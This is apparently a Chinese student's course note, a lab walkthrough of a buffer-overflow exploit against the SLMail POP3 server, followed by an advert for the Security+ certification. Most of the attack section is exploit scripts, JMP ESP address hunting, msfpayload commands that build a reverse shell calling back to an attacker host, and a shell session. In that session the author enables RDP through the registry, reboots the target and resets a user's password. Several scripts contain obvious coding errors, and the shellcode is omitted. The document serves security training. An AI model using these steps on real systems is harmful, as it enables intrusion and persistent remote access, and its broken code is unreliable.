安全牛学习笔记FUZZING
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了安全牛学习笔记FUZZING相关的知识,希望对你有一定的参考价值。
FUZZING
╋━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╋
┃FUZZING ┃
┃思路: ┃
┃ 将EIP修改为shellcode代码的内存地址,将Shellcode写入到地址空间,程序读取EIP寄存器┃
┃ 数值,将跳转到shellcode代码段并执行; ┃
┃寻找可存放shellcode的内存空间 ┃
┃06.py ┃
╋━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╋
╭────────────────────────────────────────────╮
[06.py]
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INEF.socket.SOCK_STREAM)
buffer = "A" * 2606+"B"*4+"C"*(3500-2606-4)
try:
print "\nSending evil buffer..."
s.connect((‘192.168.20.32‘,110))
data = s.recv(1024)
s.send(‘USER test‘+‘\r\n‘)
data = s.rec(1024)
s.send(‘PASS‘ + buffer ‘test\r\n‘)
print "\nDone!"
except:
print "Could not connect to POP3!"
╰────────────────────────────────────────────╯
[email protected]:~# ./06.py
Sending evil buffer
Done!
╋━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╋
┃FUZZING ┃
┃不同类型的程序、协议、漏洞,会讲某些字符认为是坏字符,这些字符有固定用途┃
┃ 返回地址、Shellcode、buffer中都不能出现坏字符 ┃
┃ null byte (0x00)空字符,用于种植字符串的拷贝操作 ┃
┃ return (0x0D)回车操作,表示POP3 PASS命令输入完成 ┃
┃ 思路:发送0x00-----0xff 256个字符,查找所有坏字符 ┃
┃ 07.py ┃
┃ 0x0A ┃
┃ OxOD ┃
╋━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╋
╭────────────────────────────────────────────╮
[07.py]
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INEF.socket.SOCK_STREAM)
badchars = (
//(256个十六进制字符串,这里我就不写了!)
)
buffer = "A" * 2606+"B"*4 + badchars
try:
print "\nSending evil buffer..."
s.connect((‘192.168.20.32‘,110))
data = s.recv(1024)
s.send(‘USER test‘+‘\r\n‘)
data = s.rec(1024)
s.send(‘PASS‘ + buffer ‘test\r\n‘)
print "\nDone!"
except:
print "Could not connect to POP3!"
╰────────────────────────────────────────────╯
[email protected]:~# ./07.py
Sending evil buffer
Done!
╋━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╋
┃FUZZING ┃
┃重定向数据流 ┃
┃ 用ESP的地址替换EIP的值 ┃
┃ 但是ESP地址变化,硬编码不可行 ┃
┃ SLMali线程应用程序,操作系统为每个线程分配一段地址范围,每个线程地址范围不确定┃
┃变通思路 ┃
┃ 在内存中寻找地址固定的系统模块 ┃
┃ 在模块中寻找JMP ESP指令的地址跳转,再由该指令间接跳转到ESP,从而执行shellcode ┃
┃ mona.py脚本识别内存模块,搜索"return address"是JMP ESP指令的模块 ┃
┃ 寻找无DEP、ALSR保护的内存地址 ┃
┃ 内存地址不包含坏字符 ┃
╋━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╋
[email protected]:~# cd /usr/share/metasploit-framework/tools/
[email protected]:/usr/share/metasploit-framework/tools# ./nasm_shell.rb //汇编语言转换成二进制
nasm > jmp esp
00000000 FFE4 jmp esp
nasm > exit
╋━━━━━━━━━━━━━━━━━━━━━╋
┃FUZZING ┃
┃寻找不受保护的系统模块 ┃
┃ lmona modules ┃
┃将汇编指令jmp esp转换成二进制 ┃
┃ ./nasm shell ┃
┃ FFE4 ┃
┃在模块中搜索FFE4指令 ┃
┃ lmona find -s "\xff\xe4" -m slmfc.dll ┃
┃ 选择不包含坏字符的内存地址 ┃
┃在该地址设置断点 ┃
┃重发buffer ┃
┃ 08.py(地址全翻转) ┃
╋━━━━━━━━━━━━━━━━━━━━━╋
╭────────────────────────────────────────────╮
[08.py]
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INEF.socket.SOCK_STREAM)
buffer = "A" * 2606 + "\xe3\x41\x4b\x5f" + "C" * 390
try:
print "\nSending evil buffer..."
s.connect((‘192.168.20.32‘,110))
data = s.recv(1024)
s.send(‘USER test‘+‘\r\n‘)
data = s.rec(1024)
s.send(‘PASS‘ + buffer ‘test\r\n‘)
print "\nDone!"
except:
print "Could not connect to POP3!"
╰────────────────────────────────────────────╯
[email protected]:~# ./08.py
Sending evil buffer
Done!
╋━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╋
┃FUZZING ┃
┃生成shellcode ┃
┃Scratch ┃
┃./msfpayload ┃
┃./msfpayload win32_reverse LHOST=192.168.20.8 LPORT=443 C ┃
┃./msfpayload win32_reverse LHOST=192.168.20.8 LPORT=443 R | ./msfencode -b┃
┃"\x00\x0a\x0d" ┃
┃nc -vlp 443 ┃
┃09.py ┃
╋━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╋
[email protected]:~# cd /usr/share/framework2/
[email protected]:/usr/share/framework2/# ls msfpayload -l
[email protected]:/usr/share/framework2/# ./msfpayload win32_reverse LHOST=192.168.20.8 LPORT=443 C
[email protected]:/usr/share/framework2/# ./msfpayload win32_reverse LHOST=192.168.20.8 LPORT=443 R | ./msfencode -b "\x00\x0a\x0d"
[email protected]:/usr/share/framework2/# ./msfpayload win32_reverse LHOST=192.168.20.8 LPORT=443 R | ./msfencode -b "\x00\x0a\x0d" | grep 00
[*] Using Msf:Encoder:PexFnstenvMov with final size of 310 bytes
[email protected]:/usr/share/framework2/# ./msfpayload win32_reverse LHOST=192.168.20.8 LPORT=443 R | ./msfencode -b "\x00\x0a\x0d" | grep 0a
[*] Using Msf:Encoder:PexFnstenvMov with final size of 310 bytes
[email protected]:/usr/share/framework2/# ./msfpayload win32_reverse LHOST=192.168.20.8 LPORT=443 R | ./msfencode -b "\x00\x0a\x0d" | grep 0b
[*] Using Msf:Encoder:PexFnstenvMov with final size of 310 bytes
╭────────────────────────────────────────────╮
[09.py]
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INEF.socket.SOCK_STREAM)
shellcode = (
//(256个十六进制字符串,这里我就不写了!)
)
buffer = "A" * 2606 + "\xe3\x41\x4b\x5f" + "\x90" * 8 + shellcode
try:
print "\nSending evil buffer..."
s.connect((‘192.168.20.32‘,110))
data = s.recv(1024)
s.send(‘USER test‘+‘\r\n‘)
data = s.rec(1024)
s.send(‘PASS‘ + buffer ‘test\r\n‘)
print "\nDone!"
except:
print "Could not connect to POP3!"
╰────────────────────────────────────────────╯
[email protected]:~# nc -vlp 444
Listening on [any] 444 ...
connect to [192.168.1.117] from localhost [192.168.1.119] 1053
Microsoft Windows XP | ?? 5.1.2006]
(C) ???? ???? 1985-2001 Microsoft Corp
C:\Program Files\SLmail\System>cd\
cd\
C:\>dir
dir
????? C ??????
?????? ??? 94CE=E07B
C:\ ???
[email protected]:~# ./09.py
Sending evil buffer
Done!
╋━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╋
┃FUZZING ┃
┃Shellcode执行结束后以ExitProcess方式退出整个进程,将导致邮件服务奔溃; ┃
┃Slmail是一个基于线程应用,适用ExitThread方式可以避免整个服务崩溃,可实现重复溢出;┃
┃./msfpadload win32_reverse LHOST=192.168.20.8 EXITFUNC=thread LPORT=443 R ┃
┃| ./msfencode -b "\x00\x0a\x0d" ┃
╋━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╋
╋━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╋
┃FUZZING ┃
┃echo Windows Registrv Editor Version 5.00>3389.reg ┃
┃echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Contral\TerminalServer]>>3389.reg ┃
┃echo "fDenyTSConnections"=dword:00000000>>3389.reg ┃
┃echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Contral\TerminalServer\Wds\rdpwd\ ┃
┃Tds\tcp]>>3389.reg ┃
┃echo "PortNumber"=dword:00000d3d>>3389.reg ┃
┃echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Contral\TerminalServer\WinStations┃
┃\RDP-Tcp]>>3389.reg ┃
┃echo "PortNumber"=dword:00000d3d>>3389.reg ┃
┃regedit /s 3389.reg ┃
╋━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╋
[email protected]:~# nc -vlp 444
Listening on [any] 444 ...
connect to [192.168.1.117] from localhost [192.168.1.119] 1053
Microsoft Windows XP | ?? 5.1.2006]
(C) ???? ???? 1985-2001 Microsoft Corp
C:\Program Files\SLmail\System>cd\
cd\
C:\>echo Windows Registrv Editor Version 5.00>3389.reg
echo Windows Registrv Editor Version 5.00>3389.reg
C:\>echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Contral\TerminalServer]>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Contral\TerminalServer]>>3389.reg
C:\>echo "fDenyTSConnections"=dword:00000000>>3389.reg
echo "fDenyTSConnections"=dword:00000000>>3389.reg
C:\>echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Contral\TerminalServer\Wds\rdpwd\Tds\tcp>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Contral\TerminalServer\Wds\rdpwd\Tds\tcp>>3389.reg
C:\>echo "PortNumber"=dword:00000d3d>>3389.reg
echo "PortNumber"=dword:00000d3d>>3389.reg
C:\>echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Contral\TerminalServer\WinStations\RDP-Tcp]>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Contral\TerminalServer\WinStations\RDP-Tcp]>>3389.reg
C:\>echo "PortNumber"=dword:00000d3d>>3389.reg
echo "PortNumber"=dword:00000d3d>>3389.reg
C:\>regedit /s 3389.reg
regedit /s 3389.reg
C:\>shutdown -r -t 0
shutdown -r -t 0
C:\>net user yuanhu *
[email protected]:~# apt-get install rdesktop //linux下的远程桌面
[email protected]:~# rdesktop 192.168.1.119
WARNING: Remote desktop does not support colour depth 24; falling back to 16
regsnap
RegSnap可以详细地向你报告注册表及其他与系统有关项目的修改变化情况。RegSnap 对系统的比较报告非常具体,对注册表可报告修改了哪些键,修改前、后的值各是多少;增加和删除了哪些键以及这些键的值。报告结果既可以以纯文本的方式,也可以 html 网页的方式显示,非常便于查看。除系统注册表以外,RegSnap 还可以报告系统的其他情况:Windows 的系统目录和系统的 system 子目录下文件的变化情况,包括删除、替换、增加了哪些文件;Windows 的系统配置文件win.ini 和 system.ini 的变化情况,包括删除、修改和增加了哪些内容;自动批处理文件 autoexec.bat 是否被修改过。该软件可以在需要的时候方便地恢复注册表,可以直接调用 regedit 程序查看或修改注册表,还可以查看当前机器的机器名和用户名。
该笔记为安全牛课堂学员笔记,想看此课程或者信息安全类干货可以移步到安全牛课堂
Security+认证为什么是互联网+时代最火爆的认证?
牛妹先给大家介绍一下Security+
Security+ 认证是一种中立第三方认证,其发证机构为美国计算机行业协会CompTIA ;是和CISSP、ITIL 等共同包含在内的国际 IT 业 10 大热门认证之一,和CISSP偏重信息安全管理相比,Security+ 认证更偏重信息安全技术和操作。
通过该认证证明了您具备网络安全,合规性和操作安全,威胁和漏洞,应用程序、数据和主机安全,访问控制和身份管理以及加密技术等方面的能力。因其考试难度不易,含金量较高,目前已被全球企业和安全专业人士所普遍采纳。
Security+认证如此火爆的原因?
原因一:在所有信息安全认证当中,偏重信息安全技术的认证是空白的, Security+认证正好可以弥补信息安全技术领域的空白 。
目前行业内受认可的信息安全认证主要有CISP和CISSP,但是无论CISP还是CISSP都是偏重信息安全管理的,技术知识讲的宽泛且浅显,考试都是一带而过。而且CISSP要求持证人员的信息安全工作经验都要5年以上,CISP也要求大专学历4年以上工作经验,这些要求无疑把有能力且上进的年轻人的持证之路堵住。在现实社会中,无论是找工作还是升职加薪,或是投标时候报人员,认证都是必不可少的,这给年轻人带来了很多不公平。而Security+的出现可以扫清这些年轻人职业发展中的障碍,由于Security+偏重信息安全技术,所以对工作经验没有特别的要求。只要你有IT相关背景,追求进步就可以学习和考试。
原因二: IT运维人员工作与翻身的利器。
在银行、证券、保险、信息通讯等行业,IT运维人员非常多,IT运维涉及的工作面也非常广。是一个集网络、系统、安全、应用架构、存储为一体的综合性技术岗。虽然没有程序猿们“生当做光棍,死亦写代码”的悲壮,但也有着“锄禾日当午,不如运维苦“的感慨。天天对着电脑和机器,时间长了难免有对于职业发展的迷茫和困惑。Security+国际认证的出现可以让有追求的IT运维人员学习网络安全知识,掌握网络安全实践。职业发展朝着网络安全的方向发展,解决国内信息安全人才的匮乏问题。另外,即使不转型,要做好运维工作,学习安全知识取得安全认证也是必不可少的。
原因三:接地气、国际范儿、考试方便、费用适中!
CompTIA作为全球ICT领域最具影响力的全球领先机构,在信息安全人才认证方面是专业、公平、公正的。Security+认证偏重操作且和一线工程师的日常工作息息相关。适合银行、证券、保险、互联网公司等IT相关人员学习。作为国际认证在全球147个国家受到广泛的认可。
在目前的信息安全大潮之下,人才是信息安全发展的关键。而目前国内的信息安全人才是非常匮乏的,相信Security+认证一定会成为最火爆的信息安全认证。
近期,安全牛课堂在做此类线上培训,感兴趣可以了解
本文出自 “11662938” 博客,请务必保留此出处http://11672938.blog.51cto.com/11662938/1965535
以上是关于安全牛学习笔记FUZZING的主要内容,如果未能解决你的问题,请参考以下文章